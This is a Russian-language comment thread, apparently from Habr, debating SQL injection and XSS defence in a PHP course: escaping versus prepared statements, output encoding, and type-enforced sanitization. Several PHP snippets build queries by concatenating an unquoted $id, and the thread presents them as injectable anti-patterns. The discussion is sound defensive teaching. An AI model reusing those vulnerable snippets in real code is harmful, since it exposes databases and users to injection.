Извините, то это полная ЧУШЬ. Движок хранения данных, который "не любит" какие-то данные — это бессмыслица. И таких в природе не существует.
Кавычки "не любит" не движок хранения, а транспорт — SQL запрос. И нигде, кроме этого запроса, ваши пресловутые кавычки не играют вообще никакой роли. И любая БД их совершенно спокойно хранит. И именно поэтому мы озабачиваемся кавычками на уровне выполнения запроса, и больше нигде. И поэтому любую санитизацию должна выполнять функция, выполняющая запрос.
А если делать так, как вы предлагаете, и передавать в эту функцию уже санитизированные данные, то сменив движок хранения на другой — например джейсон в редисе — мы получим испорченные данные.
А теперь вы пишете какую-нибудь социалочку
Ради бога. Я нигде не говорил, что валидация не должна выкидывать лишнее. Я написал прямо противоположное — что слой валидации вполне может не пропускать HTML. И слою вывода будет нечего заменять. Но то, что защита в любом случае должна стоять — это аксиома. Выводим в HTML? Форматируем. Аргументацию я приводил в статье, не буду повторяться. Миллиону просмотров поможет кэширование, оно всё равно тут понадобится.
0xd34df00d
05.07.2022 17:22Кавычки "не любит" не движок хранения, а транспорт — SQL запрос.
Хотите строго — можно строго, как хотите.
И именно поэтому мы озабачиваемся кавычками на уровне выполнения запроса, и больше нигде. И поэтому любую санитизацию должна выполнять функция, выполняющая запрос.
Но у неё недостаточно данных для того, чтобы знать, что делать с кавычками. Эти знания есть только у автора запроса.
А если делать так, как вы предлагаете, и передавать в эту функцию уже санитизированные данные, то сменив движок хранения на другой — например джейсон в редисе — мы получим испорченные данные.
Мы и запросы испорченные получим, если мы формируем те же упомянутые выше фильтры из пользовательского ввода. Естественно, при смене транспорта (кстати, не движка, а именно транспорта, раз мы тут с вами за строгость) вам придётся менять ваш код в каком-то месте (даже если это инстанциирование типа, описывающего транспорт, где-то в начале программы).
Но то, что защита в любом случае должна стоять — это аксиома.
И типы позволяют в этом удостовериться.
FanatPHP Автор
05.07.2022 17:29Как это — недостаточно? Мне кажется, что вы уже просто троллите. Если это функция, которая предназначена для выполнения запросов конкретно в эту БД, то именно она и знает, как это делать. А вот на автора запроса-то как раз полагаться и нельзя. Его дело — предоставить сам запрос, и данные для него. Всё остальное сделает функция. Вы ещё скажите, что автор запроса должен знать тонкости физического протокола, по которому запрос отправляется в БД.
0xd34df00d
05.07.2022 17:38Ну вот так, недостаточно. Если я руками написал запрос
select * from tbl where foo = 'bar'
и его выполняю, то с кавычками ничего делать не надо. Если я пишу какую-нибудь хитрую хрень, которая проходит по присланным от пользователя полям и добавляет условия в запрос черезAND
, то кавычки чинить надо.Возможно, мы разные вещи называем функциями, выполняющими запрос, хз.
FanatPHP Автор
05.07.2022 18:32Не надо. Я как раз тут ниже приводил код, который именно это и делает.
Наличие или отсутствие кавычек во входящих данных нас не интересует от слова "совсем".
FanatPHP Автор
06.07.2022 06:48Неправда. Покажите, какая переменная в этом коде имеет выдуманный вами тип "Sanitized"?
Смотрите, если вернуться к вашей идее про "очищенные данные", то в ней нет никакой логики. Вы рассуждаете, исходя из предположения, что "в БД лежат уже очищенные данные", то есть с "не сырыми" кавычками. То есть вы изначально исходили из идеи хранения видоизменённых данных. А она не выдерживает никакой критики. Данные в БД хранятся как есть. То есть ваша исходная идея про "очищенные данные" превращается в тыкву. Вам бы уже принять тот факт, что данные всегда хранятся как есть, и идея про обеспечение безопасности путём хранения "очищенных" была не очень удачной.
0xd34df00d
07.07.2022 05:20-1Неправда. Покажите, какая переменная в этом коде имеет выдуманный вами тип "Sanitized"?
Вы выполняете те же действия, которые выполняет предлагаемая мной
String -> Sanitized
, и проверяете, что их выполнили, рассуждениями о коде вручную. Это и есть «написали [и проверили] руками»Смотрите, если вернуться к вашей идее про "очищенные данные", то в ней нет никакой логики. Вы рассуждаете, исходя из предположения, что "в БД лежат уже очищенные данные", то есть с "не сырыми" кавычками.
Вы правы в том смысле, что я зачем-то свел вместе операцию эскейпинга разных кавычек для корректного HTML и операцию эскейпинга условного пользовательского ввода от HTML-тегов и всяких XSS-атак. Естественно, БД делает обратное эскейпингу кавычек преобразование, поэтому в БД будут лежать оригинальные данные, если у вас нет эскейпинга условного HTML.
symbix
06.07.2022 15:40Ваша ошибка в том, что вы пытаетесь решить не ту проблему.
Ограничения, вводимые типом, имеют смысл, когда тип - это подмножество String. Например, валидный email.
При построении же sql-запроса решается иная задача - формирование, собственно, SQL-запроса с соблюдением синтаксиса SQL. Достаточно посмотреть внутренний парсер и структуру AST в исходниках Postgresql, чтобы понять, что строковый литерал - один из сотни возможных кейсов. И задача в том, чтобы корректно SQL-запрос, а "безопасность" является лишь побочным эффектом. А уж сформированный запрос, да, вполне себе может иметь тип SQLStatement. Да, там внутри может быть где-то дерево, и где-то внутри может оказаться SQLStringLiteral, но сам по себе этот подтип не имеет никакого смысла, поскольку он имеет смысл только в конкретном дереве, а не для конкатенации с произвольным String!
При этом в большинстве случаев о представлении строковых литералов в языке SQL думать вообще не надо - ведь есть Prepared Statements, специально придуманные для того, чтобы разделить, условно говоря, "функцию" и "аргументы".
А когда надо строить те части запроса, для которых не поддерживаются prepared statement placeholders, в любом случае нужно соблюдать целевой синтаксис.
Все то же самое относится и к генерации HTML и вообще чего угодно. По сути это задача кодогенерации
0xd34df00d
07.07.2022 05:21Ну и эта кодогенерация, чтобы всё было хорошо, тоже очень хорошо ложится на типы.
psycho-coder
05.07.2022 13:52+1Давайте немного по-фантазируем:
Начитавшийсь умных книг мы строим архитектуру приложения похожую на DDD. При такой архитектуре у нас получается довольно много абстракций и сервисов. Это всё между собой слабо связано, разделение по слоям, напрвяления зависимостей и все как завещал Дядюшка Боб. В таком случае некоторый сервис может просто не понимать откуда у него на входе данные. Это тестовые данные, это из БД, это из cli или черт еще знает откуда. Связанность слабая и код также «не знает» очищены они или нет. Даже если и будет некоторый флаг отмечающий это, как определить что он установлен верно?0xd34df00d
05.07.2022 16:27+1Я не уверен, что понял вопрос, поэтому позвольте его переформулировать.
Вы прочитали какие-то книги, под влиянием которых написали кучу кода, где ничего не понятно, но зато всё очень сервисно и абстрактно, и спрашиваете, что теперь с этим делать? Ну, не знаю, попробуйте не обмазываться абстракциями и сервисами в таком количестве.
Связанность слабая и код также «не знает» очищены они или нет.
Зачем ему это не знать?
Даже если и будет некоторый флаг отмечающий это, как определить что он установлен верно?
Это не флаг, это тип.
Упрощая, функции, принимающие ввод от пользователя (будь то CLI, фронтенд или ещё что), дают вам обычный сырой невалидированный тип строки
String
. Функции, делающие потенциально уязвимые вещи (вроде записи в БД, или формирования HTML-ответа), принимают типSanitized
. Единственный способ преобразоватьString
вSanitized
— функция, экспортируемая модулем, определяющимSanitized
, и в кишкиSanitized
вы залезть не можете никак, потому что они не экспортируются.Значит, если ваша программа тайпчекается, где-то в процессе вы правильно преобразовали
String
вSanitized
просто по построению.умных книг
DDD
Дядюшка Боб
Связанность слабаяЛично я считаючто это всё совершенно бесполезная болтология, которая решает несуществующие проблемы, а существующие — не решает. Писать код надо так, чтобы его было легко менять и выкидывать в случае, если ты ошибся, и тут помогают именно типы, описывающие, что и над чем код делает, а не некая слабая связность или слоёная архитектура с абстракциями и сервисами. Которую, тем более, почти никто не осиливает сделать правильно, как показывает практика, ибо я не видел ещё ни одного нетривиального проекта, написанного в стиле ООП/умных книг/етц, который бы не превратился в кошмар и кровавое месиво для поддержки.
Но это сугубо моё ИМХО. Компилятор или symbolic evaluator с ним написать вполне отлично получается. Допускаю, что условная гостевая книга или форум — это куда более сложные задачи, и я просто не представляю, о чём говорю, и там все эти дядюшки Бобы говорят действительно полезные вещи.
FanatPHP Автор
05.07.2022 16:55Самое смешное, что в РНР раньше был такой механизм. Данные действительно поступали в функцию для работы с БД уже с понтом "sanitized". Назывался "волшебные кавычки". Это одно из самых позорных пятен в биографии РНР, с выпиливания которого можно начинать отсчёт превращения языка из гадкого утёнка в пусть не прекрасного — но вполне себе юзабельного лебедя. Процесса, который в итоге привел к посттравматическому синдрому у камрада muxa_ru (:
muxa_ru
05.07.2022 18:35посттравматическому синдрому
Обожаю наблюдать за тем, как люди накачанные эмоциями "какое счастье" воспринимают спокойствие за эмоции "какой ужас".
Хотя, нет смысла отрицать, у меня действительно есть эмоции по этому поводу - удовлетворение от того, что мир оказывается именно таким как я его вижу.
EvgeniiR
05.07.2022 17:15+1Писать код надо так, чтобы его было легко менять и выкидывать в случае, если ты ошибся, и тут помогают именно типы, описывающие, что и над чем код делает, а не некая слабая связность или слоёная архитектура с абстракциями и сервисами.
Связность, сервисы и прочие DDD скорее о том, как не терять продуктивности с ростом масштабов проекта, когда над ним работает много команд, и добавляются разные источники требований, а не для того чтобы сделать отдельный кусок кода более понятным
psycho-coder
05.07.2022 17:15+2Вопрос вы, действительно, не поняли
Вы прочитали какие-то книги, под влиянием которых написали кучу кода, где ничего не понятно, но зато всё очень сервисно и абстрактно, и спрашиваете, что теперь с этим делать? Ну, не знаю, попробуйте не обмазываться абстракциями и сервисами в таком количестве
Прочитал какие-то книги и не пишу код, где ничего не понятно. Лично мне книги приносят знания, которые я не знал или помогают их структурировать. И книги это не инструкция к применению.Зачем ему это не знать?
Как раз ему и не надо знать это.Упрощая, функции, принимающие ввод от пользователя (будь то CLI, фронтенд или ещё что), дают вам обычный сырой невалидированный тип строки String...
Записали в базу Sanitized, потом выводим в html еще раз Sanitized, что произодет с данными? Если нам надо обработать сырые данные для другой задачи, а они уже Sanitized, тогда что делать, преобразовывать обратно? Это все добавляет сложности — теже абстракции только в профиль.
К тому же, одними строгими типами проблема не решается. Если бы это решалось, в C# не добавляли бы var и auto в плюсах.
Автор поста пытается донести мысль, что данные считаем недоверенными всегда, кроме случая, когда нам это надо, и вот тут санитайзер как раз нужен будет. Другими словами «Запрещено все, кроме того что явно разрешено».Заголовок спойлерачто это всё совершенно бесполезная болтология, которая решает несуществующие проблемы, а существующие — не решает. Писать код надо так, чтобы его было легко менять и выкидывать в случае, если ты ошибся, и тут помогают именно типы, описывающие, что и над чем код делает, а не некая слабая связность или слоёная архитектура с абстракциями и сервисами
Тогда почему, когда я написал слабосвязный сервис, еще до знакомства с умными книгами, то сделал с некоторым кол-вом абстракций и интерфейсов, которые и регламентрировали работу сервиса. При этом результат получился такой, что можно выкинуть ненужное, или добавить нужное без проблем. Другой разработчик только добавляет класс со своей логикой и указывает где его выполнять. Если бездумно применять технологии, то конечно ничего хорошего не получится. Погружение в проблему и в тероию важная вещь в обучении и разработке. Симптомное решение задач приносит говнокод.
0xd34df00d
05.07.2022 17:26Как раз ему и не надо знать это.
Почему? Функция, которая непосредственно отправляет данные базе данных, должна про это знать. Точно так же, как она должна знать, как сериализовать эти данные, и так далее.
Записали в базу Sanitized, потом выводим в html еще раз Sanitized, что произодет с данными?
Если санитизация идемпотентна, то ничего.
Если нам надо обработать сырые данные для другой задачи, а они уже Sanitized, тогда что делать, преобразовывать обратно?
Да.
Это все добавляет сложности — теже абстракции только в профиль.
Только ошибки в этих абстракциях ловит компилятор.
К тому же, одними строгими типами проблема не решается. Если бы это решалось, в C# не добавляли бы var и auto в плюсах.
Во-первых, C# и С++ — это не самые строгие языки.
Во-вторых, ой, расскажите, пожалуйста, как жеauto
меняет дело? :]Тогда почему, когда я написал слабосвязный сервис, еще до знакомства с умными книгами, то сделал с некоторым кол-вом абстракций и интерфейсов, которые и регламентрировали работу сервиса.
Наверное, вы очень хороший дизайнер. Когда какое-нибудь место, где я буду работать, будет искать людей, я вас первым делом зареферю.
psycho-coder
05.07.2022 17:41+1Почему? Функция, которая непосредственно отправляет данные базе данных, должна про это знать. Точно так же, как она должна знать, как сериализовать эти данные, и так далее
Если санитизация идемпотентна, то ничего не изменится.
В любом случае, имхо, здесь данные будут подготавливаться к запросу, поэтому не важно какие они пришли и соотвественно код в этом месте об это не знает и не должен.
А вот как сериализовать данные, знать должна.Если санитизация идемпотентна, то ничего
ХорошоДа.
В таком случае санитайзер должен гарантировать обратное преобразование.Только ошибки в этих абстракциях ловит компилятор
Как и тайп-хинтинг с интерфейсами.Во-вторых, ой, расскажите, пожалуйста, как же auto меняет дело? :]
Можно не указывать тип :]Наверное, вы очень хороший дизайнер. Когда какое-нибудь место, где я буду работать, будет искать людей, я вас первым делом зареферю
Да нет, средней руки бэк.0xd34df00d
05.07.2022 17:54В любом случае, имхо, здесь данные будут подготавливаться к запросу, поэтому не важно какие они пришли и соотвественно код в этом месте об это не знает и не должен.
Значит, вы обработаете кавычки уровнем выше. Ничего страшного.
В таком случае санитайзер должен гарантировать обратное преобразование.
Да, и это очень хорошее свойство, которое я бы даже формально доказал (но, увы, даже на хаскеле нельзя).
Как и тайп-хинтинг с интерфейсами.
Если у вас там есть возможность статически проверить, что всё с типами нормально, и система типов достаточно выразительная, то отлично.
Можно не указывать тип :]
И какое отношение это имеет к строгости типов?
psycho-coder
05.07.2022 18:01И какое отношение это имеет к строгости типов?
Заранее можно не знать тип данных. Могу ошибаться, на плюсах писал только курсовые когда учился.
0xd34df00d
05.07.2022 23:00Тип равен типу выражения справа от знака равно (с точностью до некоторых правил обращения со ссылками и константностью, которые не всякий сеньор вспомнит).
auto
позволяет его не писать, только и всего.Нет вообще никакой разницы между
int n = 41 + 1;
иauto n = 41 + 1;
.Олсо, интересно, что бы вы сказали, глядя на какой-нибудь код на хаскеле или чём позабористее, учитывая, что там аннотации типов зачастую только у объявлений топ-левел-функций.
psycho-coder
06.07.2022 15:16auto позволяет его не писать, только и всего.
Давайте поясню что имел ввиду. Это грубый аналог$n = 41 + 1;
Олсо, интересно, что бы вы сказали, глядя на какой-нибудь код на хаскеле или чём позабористее, учитывая, что там аннотации типов зачастую только у объявлений топ-левел-функций
Думаю я бы сломал себе мозг. Из функциональных только lisp (clojure) трогал и то не дальше учебника.
0xd34df00d
07.07.2022 05:25Давайте поясню что имел ввиду. Это грубый аналог
Очень-очень грубый. Потому что вам следующей строкой никто не мешает написать
$n = "meh";
а в C++ с
auto
вы такого сделать не можете.Думаю я бы сломал себе мозг.
А это неважно. Главное — что там типы пишутся далеко не везде (по крайней мере, где алгоритм вывода типов может их вывести). На строгость это как-то не особо влияет, максимум — без явных типов сообщения об ошибках от тайпчекера иногда становятся чуть менее качественными.
Guzergus
06.07.2022 00:43К тому же, одними строгими типами проблема не решается. Если бы это решалось, в C# не добавляли бы var и auto в плюсах
Вы не совсем верно представляете себе, что такое, как минимум, var; про auto утверждать не буду. var позволяет компилятору вывести тип переменной без явного указания разработчиком, он никакого отношения к строгости не имеет.Заранее можно не знать тип данных
Кому знать? Компилятору его как раз обязательно для вывода.psycho-coder
06.07.2022 15:18Кому знать? Компилятору его как раз обязательно для вывода.
Разработчику.
Имел ввиду, что полностью строго типизированную систему либо невозможно сделать, либо очень сложно. Да и не нужна она, строгость типов это еще один инструмент решения задач. Иногда он нужен иногда нет0xd34df00d
07.07.2022 05:34Тут надо разделять строгость системы типов и явность аннотаций. Писать везде явные аннотации, конечно, не нужно, но это не делает систему менее строгой.
FanatPHP Автор
05.07.2022 08:32+2Например потому что исходно его вводил пользователь. А чтобы отличить — надо понимать контекст вопроса. Для чего его нужно отличать строку, полученную из БД, от полученной из запроса?
Вообще, это всё ненужная софистика, которой я и предлагаю избегать. Само понятие "пользовательский ввод" в контексте защиты является лишним и даже вредным. Важно не то, откуда получены данные (из БД, из запроса) — а то, куда они идут.
psycho-coder
05.07.2022 13:42+1Примеры с БД выше и ниже уже привели. Как отличить одно от другого? А если админ ошибся или опчетался, то это инфа сохранится в БД и может что-то сломать, а она ведь не «пользовательского ввода»
FanatPHP Автор
04.07.2022 16:52Согласен. Я об этом упомянул вскользь, но вы правы, надо сделать меньше упор на РНР, и больше на универсальность этих правил. К примеру, на Тостере я постоянно вижу вопросы — да чего уж греха таить — и ответы, где в Питоне в cursor.execute() передаётся запрос с уже интерполированными в него переменными! Я посмотрю, как можно подредактировать статью, чтобы она была полезнее для более широкого круга читателей.
Только одна маленькая поправка: всё-таки, "пользовательский ввод" — это такая отравленная формулировка, её лучше избегать. На Stack Overflow есть очень известный вопрос, где чувак спрашивал — "а является ли пользовательским вводом содержимое тега
<select>
? Его ведь не пользователь вводит руками, а сервер формирует!" Популярность этого вопроса говорит о том, что у многих разработчиков отсутствует чёткое понимание, что является пользовательским вводом, а что — нет. А данные из БД — они ещё пользовательские, или ещё нет? А если у нас даже в 100% не в пользовательском вводе будет кавычка или другой спецсимвол?Поэтому, если мы говорим о данных, то я предлагаю вообще не употреблять такое понятие, как "пользовательский ввод". А просто принять по умолчанию, что у нас все данные недоверенные, любым данным нельзя доверять. Такой подход сразу сделает работу с данными универсальным и сэкономит нам кучу времени и нервов. И волос, на голове и в разных других местах (:
alexxxnf
04.07.2022 17:23На PHP всё так же принято перемежать PHP-код вставками на HTML? Шаблонизаторы так и не прижились?
P.S. Серьёзно писал на PHP лет 10 назад.
psycho-coder
04.07.2022 17:35+2В современном php как правило не принято. Однако есть рудименты в виде Wordpress, Joomla, modx и прочего, куда это вотнуть трудно (где-то лечге, где-то сложнее). Все кто пишет на Laravel, Symfony и др. фреймах, там уже есть шаблонизаторы и их наличие не оспаривается
FanatPHP Автор
04.07.2022 17:37+1Наоборот, очень даже прижились, нет ни одного профессионального сайта, где не использовался бы специальный шаблонизатор — в основном это Twig или Blade, реже Smarty, Ещё реже — какие-нибудь диковины типа Blitz. Вот кстати даже интересно узнать у коллег из Badoo, используется ли он до сих пор? :)
Сам курс РНР в Академии в этом отношении построен очень правильно — он подводит студента к идее шаблонизаторов, но пока — на чистом РНР. Шаблон для вывода отделяется от бизнес-логики и кладётся в отдельный РНР файл. И вот в нём уже как раз HTML код перемежается вставками РНР, причём используются только базовые команды, чтобы только обеспечить логику отображения. При этом используется примитивная функция-шаблонизатор, в которую передаётся имя файла шаблона и массив с данными для него. То сделать следующий шаг к настоящему шаблонизатору будет совсем нетрудно. А уже в них никакого РНР нет* (не будем показывать пальцем в сторону Blade), а используются только команды самого шаблонизатора.
sunnybear
04.07.2022 18:21Я, наверное, что то не понимаю, но при динамической типизации число никакой sql иньекции не несёт, а строка будет экранирована?
"Функция
mysqli_real_escape_string()
, как следует из её названия, работает только со строками, и применять её для числовых значений бесполезно чуть более чем полностью."FanatPHP Автор
04.07.2022 18:36+1Тут надо уточнить, что в данном случае имеется в виду под динамической типизацией?
Строгая типизация — да, предотвращает инъекцию через числовые параметры, и некоторые студенты этим пользуются, технически инъекция у них не проходит:
function getInfo(int $id) { $sql = "SELECT * FROM table WHERE id = ". $id; }
Но у своих студентов я такой код не принимаю, расценивая его как читинг. Это вносит разнобой в защиту от инъекций, и в конечном итоге в этом бардаке какая-нибудь гадость да пролезет. Я добиваюсь единого подхода к исполнению запросов, когда никакие посторонние детали на порядок выполнения запроса не влияют. Я уже сталкивался с ситуацией, когда вместо числового параметра переходили к цифробуквенному, меняли при этом типизацию, а вот про SQL — забывали.
А в примере, приведённом в статье, вообще никакой типизации нет — ни строгой, ни динамической. Мы тупо берем входной параметр, экранируем в нём несуществующие кавычки, и подставляем прямо в запрос.
Так что прощу уточнить, что вы имели в виду.
sunnybear
04.07.2022 19:03-2Приведите, пожалуйста, пример id который содержит sql иньекцию, которую указанный выше код пропускает. Я не понимаю, почему указанный пример нельзя считать нормальным (не хорошим, но приемлемым) вариантом защиты.
init0
04.07.2022 19:13+1А вы вообще читали, что написано в сообщении на которое отвечаете?
Я уже сталкивался с ситуацией, когда вместо числового параметра переходили к цифробуквенному, меняли при этом типизацию, а вот про SQL — забывали.
FanatPHP Автор
04.07.2022 19:33+2Во-первых, я уже ответил на ваш вопрос:
технически инъекция у них не проходит
Во-вторых, речь не о коде, а о подходе. Приведенный пример можно считать безопасным, но нельзя считать нормальным. Мне часто приходится вступать в подобные дискуссии на Stack Overflow, и всегда приходится отдельно оговариваться — "приведённый вами вырожденный и изолированный пример является безопасным. но подход, который вы при этом используете, таковым не является".
Вот же, я пишу: "Это вносит разнобой в защиту от инъекций". У семи нянек — дитя без глазу, говорит нам народная пословица. И здесь как раз такой случай. Когда мы используем целый зоопарк различных методик защиты, то повышается вероятность пропустить инъекцию. Защита от инъекций должна происходить в момент выполнения, и нигде больше. Взятый целиком, приведённый выше код не содержит инъекции. Но если кто-то скопипастит из него только код выполнения запроса, то тут же получит инъекцию. Если захочет поменять тип обрабатываемой переменной, то тоже получит инъекцию. Если же изначально код выполнения запроса будет корректным, безотносительно любых внешних по отношению к нему проверок, то во всех этих случаях он и останется безопасным. Обеспечение безопасности должно быть атомарным, строго по месту. А не быть развешенным по всем приложению, как подштанники на бельевой верёвке.
sunnybear
04.07.2022 19:49+2Во-первых, про строгую типизацию вы сами придумали, ее не было в исходном запросе. Тут и без типизации проблем с безопасностью и кодом как бы нет.
Во-вторых, ваш подход к обеспечению безопасности - это вкусовщина. Если код не пропускает инъекции, то характер этого кода (для бизнеса) имеет достаточно мало значения.
В-третьих, вы сами, скорее всего (это не понятно из вашего профиля и материала, здесь могу ошибиться) не являетесь методистом, который бы разработал курс "Основы PHP для новичков", но при этом хаяте большое количество других материалов. Попробуйте с нуля объяснить основы веб-разработки для хотя бы 100 человек. Которые ничего сложнее Excel не видели. Через год вернетесь и расскажите про ощущения.
Лично я считаю приведенный пример, практически, идеальным для студентов на том уровне, на котором студенты находятся (основы есть, лишнего нет, есть задел на будущее для углубления навыков). И категорически поддерживаю образовательную программу, которая смогла обеспечить такой подход обучения
FanatPHP Автор
04.07.2022 19:56+1Тут и без типизации проблем с безопасностью и кодом как бы нет.
Стоп, как это нет? Убираем типизацию
function getInfo($id) { $sql = "SELECT * FROM table WHERE id = ". $id; // ну дальше понятное дело выполнение запроса }
и получаем инъекцию!
sunnybear
04.07.2022 20:01-2Проверьте, пожалуйста, отличия вашего кода и кода в статье. Там ещё вызов функции есть
FanatPHP Автор
04.07.2022 20:28+4Я не понимаю, к чему вы клоните, но инъекция здесь будет в любом случае, с функцией, или без:
function getInfo($con, $id) { $id = mysqli_real_escape_string($con, $id); $query = "select * from lots where id = ".$id; $result = mysqli_query($con, $query); } getInfo($con, $_GET['id']);
— и мы тут получим ту же самую инъекцию, которая подробно разбирается в статье.
Хотя постойте. Я кажется понял, о чём вы. Вы же ведь про функцию mysqli_real_escape_string? Дело в том что строки, о которых говорится в статье, относятся к SQL, а не к РНР. То есть типизация в РНР нас здесь вообще никак не касается. Вся речь о том, работаем ли мы со строковым литералом в SQL, или нет. Это моя недоработка, я поправлю. Смотрите:
SELECT * FROM table WHERE id='1'
— здесь у нас строка,
'1'
— это строковый литерал. Вот с ними-то как раз и работает mysqli_real_escape_string.SELECT * FROM table WHERE id=1
— а тут у нас числовой SQL литерал, а не строка. И применять к нему mysqli_real_escape_string абсолютно бессмысленно, независимо от того, какой тип имеет исходная переменная в РНР.
Если же дело не в этом, то очень прошу объяснить суть своих претензий подробнее, желательно с примерами.
elhana
04.07.2022 20:28Есть еще вариант:
$sql = "SELECT * FROM table WHERE id = '". mysqli_real_escape_string($conn,$id)."'";
mysql выполнит, причем еще и заботливо сам оставит числовое значение из id (если в таблице поле числовое) и выкинет остальное.
Не значит, что так стоит всегда делать и тем более учить такому, но в простейших случаях пойдет.
FanatPHP Автор
04.07.2022 20:35+2Этот вариант будет работать, о чем, кстати, прямо говорится в статье: " Если бы переменная $id была взята в кавычки, то да — этот код был бы безопасным."
Но применять, а тем более — учить ему всё-таки не следует. И в первую очередь потому что он льёт воду на мельницу того самого заблуждения, про волшебную палочку. Слишком много разработчиков верили, и до сих пор верят, что mysqli_real_escape_string "делает данные безопасными". И не надо поддерживать их в этом убеждении.
Не говоря уже о том, что если вместо WHERE id у нас будет LIMIT, то возможность поставить вокруг переменной кавычки превратится в тыкву. И опять репу чесать, искать какие-то обходы? поймите, это все уже обсуждалось миллионы раз. Да, как отдельный изолированный пример оно работает. Как универсальный подход к защите — специалисты смотрят на этот код в ужасе, столько реальных проблем он принёс.
muxa_ru
05.07.2022 00:17Кстати, да, динамическая типизация может быть важной частью обсуждаемой культуры - "фигач всё в кавычках, а LAMP сам узнает числа".
Потом пересаживаешься на что-то другое, там лишние кавычки в SQL-запрос ставить нельзя, а привычки экранировать - нет :(
AlexPershin
04.07.2022 18:49Ваша статья была бы в тему, если бы курс назывался "Информационная безопасность при разработке на PHP". Но курс называется "PHP. Профессиональная веб-разработка".
Если посмотрите на страницу курса, то становится понятно, что этот курс для новичков. Основная его цель — научить нулевиков решать типовые задачи веб-разработки с помощью PHP. Так чтобы они это делали на хорошем профессиональном уровне и могли развиваться дальше.
Можно было бы сказать, что вопросы безопасности тоже должны здесь рассматриваться в полном объёме. Но это не так. Проблема в том, что курс ограничен по объёму материалов и по времени. И за это ограниченное время нужно успеть дать новичку очень много концепций, с которыми он ни разу не сталкивался, от шаблонизации, до работы с базами данных.
Поэтому так глубоко погружаться в вопросы безопасности в таком начальном курсе не получается.
Можно ли поправить материалы таким образом, чтобы по умолчанию там давались самые безопасные приёмы? В принципе, можно. Но какой от этого толк, если не объяснять, почему нужно использовать именно эти приёмы, а не какие-то другие, которыми кишат все примеры в интернете? Если студент не будет знать про все тонкости, связанные с безопасностью тех или иных конструкций и их альтернатив, то и осознанно про безопасность думать не будет.Так что резюмирую: в фокусе этого курса никогда не была безопасность. Чтобы погрузить студента в тонкости безопасности, чтобы он мог осознанно пользоваться этими знаниями, нужен целый отдельный курс или несколько курсов. А чтобы сделать такие курсы, на это должен быть спрос.
FanatPHP Автор
04.07.2022 19:16+8Спасибо за ваш комментарий. Я довольно часто слышу такое мнение, но категорически с ним не согласен. Но хорошо, что вы его высказали. И тем не менее, извините, но ваши аргументы не выдерживают никакой критики.
Я не предлагаю "рассматривать вопросы безопасности в полном объёме". я всего лишь предлагаю давать на курсе корректную информацию. Какая проблема написать, "при выводе данных в HTML любые данные в обязательном порядке экранируются, если явно не указано обратное, как это принято во всех современных шаблонизаторах"? Какой такой запредельно неподъёмный объём информации в ней содержится? При том что корректные и непротиворечивые формулировки как раз-таки упростят восприятие материала. То же самое касается SQL инъекций. Вместо чехарды методов даётся только один.
Я нигде не предлагаю как-то "погружаться" в вопросы безопасности. Я всего лишь предлагаю сразу обучать правильным подходам, и не давать заведомо ложной информации. И всё. Это не добавляет никакой нагрузки. А наборот — её уменьшает. Вместо 100500 способов защиты от инъекций даётся только один. Где здесь повышенная нагрузка?
Но какой от этого толк, если не объяснять
Извините, но это совсем ни в какие ворота не лезет. По-вашему, лучше показывать как сделать плохо, и тоже ничего не объяснять? Но это же бессмыслица. Если мы в любом случае не объясняем, то всё равно ведь лучше показать правильный подход? И в том и в другом случае студент механически заучивает какие-то движения, но во втором случае он будет хотя бы заучивать правильные. Я никак не вижу, как отсутствие объяснений мешает сразу хотя бы показывать правильные подходы. Я считаю, что такой риторикой можно только оправдывать некачественные учебные материалы, но никак не отсутствие качественных.
Только насчёт осознанности применения полученных знаний вы правы. Но во-первых, любознательный студент и так все выяснит у наставника, а во-вторых, повторюсь — при прочих равных — отсутствии осознанности — всё же лучше если выпускник будет применять правильные подходы, а не устаревшую кривизну. Хотя бы в самых базовых вопросах.
AlexPershin
04.07.2022 19:59+1Давайте перейдём на шажок дальше.
Вот есть начальный курс, цель которого — показать то, как решаются типовые задачи на чистом php. Думаю, тут вы со мной согласитесь, что понимание того, как задачи решаются без фреймворков для новичка важно? Одна из таких задач — составление запросов в базу. Студент должен понимать, что по сути запрос — это строчка, которую он и сам при желании может собрать. Причём собрать любым способом.Дальше за этим курсом следует ещё несколько курсов, в которых студенты уже учатся пользоваться различными библиотеками и фреймворками. То есть решают привычные задачи, которые они встречали на первом курсе, уже на более высоком уровне. Быстрее, эффективнее и безопаснее.
И в конце профессии выходит студент, который знает, как задачи решаются на самом "низовом" уровне (на чистом php). Но при этом такие задачи он уже решает с помощью фреймворков и библиотек. Ну ведь по факту в поточной или продуктовой разработке все пишут на фреймворках.
И вот главный вопрос: а зачем забивать студенту голову тонкостями мегабезопасного составления строчек для баз данных на курсе начального уровня, если он всё равно в итоге будет для этого пользоваться инструментами, зашитыми во фреймворки? Типа, чтобы он такой грамотный был и если когда-то в жизни придётся писать на чистом пхп, он бы написал безопасно? Чтобы самолюбие своё потешить? Или всё-таки можно эти тонкости опустить и дать человеку тот объём тех знаний, которые ему нунжы для решения задач, чтобы его на работу взяли?
FanatPHP Автор
04.07.2022 20:11+5Вопрос "зачем забивать студенту голову тонкостями мегабезопасного составления строчек для баз данных" следует адресовать не мне. А автору курса. У которого целая глава в учебнике посвящена (впрочем, как всегда некачественно и бессистемно) именно этому вопросу. Но при этом учебник не даёт ответа на вопрос, а как, собственно, делать-то, какой метод выбрать? И в итоге мы получаем разброд и шатание, плачевные результаты которых можно видеть в работах студентов.
Если использовать вашу же (весьма спорную) риторику, то зачем давать студенту три разных способа? Это-то как раз и увеличит на него ту нагрузку, о которой вы так печётесь.
И поймите, "мегабезопасным" такое составление запросов является только в ваших, извините, замшелых представлениях. Во всем мире это уже стандарт, подход по умолчанию. В том-то и дело, что если человека учить в стиле "это играть, это не играть, тут селёдку заворачиваем", "делай так, нет на самом деле не так, но пока можешь так" — то да — у него действительно голова кругом пойдёт. А если сразу показать один нормальный пример, то он сразу и будет делать нормально, и никаких проблем со "сложностью" у него не возникнет.
AlexPershin
04.07.2022 20:15-4За сим предпочту эту "приятную" дискуссию с вами завершить. Слишком я замшелый для вас, видимо. Не хочу вас позорить тем, что приходится мои спорные аргументы опровергать.
FanatPHP Автор
04.07.2022 20:44+4Эээ… Я только сейчас догадался заглянуть к вам в профиль. Это многое объясняет. В любом случае — спасибо за дискуссию.
Hardcoin
04.07.2022 19:28+5Но какой от этого толк, если не объяснять
А какой толк от плохих небезопасных примеров? Если, предположим, не объяснять, то чем они лучше-то?
AlexPershin
